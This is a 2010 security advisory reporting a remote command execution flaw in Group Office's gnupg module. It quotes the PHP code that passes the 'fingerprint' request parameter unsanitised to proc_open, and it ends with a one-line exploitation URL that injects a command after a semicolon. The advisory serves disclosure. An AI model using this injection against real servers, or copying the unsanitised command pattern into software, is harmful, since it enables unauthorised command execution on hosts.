Group Office - Remote Command Execution

# Title
Group Office Remote Command Execution Vulnerability

# Author
ADEO Security

# Published
16/07/2010

# Version
3.5.9 (Possible all versions)

# Vendor
http://www.group-office.com

# Download
http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download

# Description
"Take your office online with Group-Office groupware. Share projects,
calendars, files and e-mail online with co-workers and clients. Easy
to use and fully customizable, Group-Office takes online collaboration
to the next level."

# Credit
Vulnerability founded by Canberk BOLAT
	- Mail: security[AT]adeo.com.tr
	- Web: http://security.adeo.com.tr , http://adeosecuritylabs.com

# Vulnerability
Remote attacker can execute commands on the system that host target
web application. Its high level vulnerability. Attacker needs gnupg
module that installed.

modules/gnupg/json.php:
$data = $gnupg->export($_REQUEST['fingerprint']);


In json.php export method called with HTTP Request that's name
fingerprint. In the export method, variable $fingerprint passed to
run_cmd method.

modules/gnupg/classes/gnupg.class.inc.php:
public function export($fingerprint)
{
	$this->run_cmd('--armor --export '.$fingerprint, $key);
...
private function run_cmd($cmd, &$output=null, &$errorcode=null,
$data=null, $passphrase=null, $background=false)
{
...
	$complete_cmd .= ' '.$cmd;
...
$p = proc_open($complete_cmd,$this->fd, $this->pipes);
...

'complete_cmd' variable executed by application and if attacker
manipulate request 'fingerprint' application executes attackers
malicious codes.


# Exploitation
http://server/groupoffice/modules/gnupg/json.php?task=send_key&fingerprint=xyz;COMMAND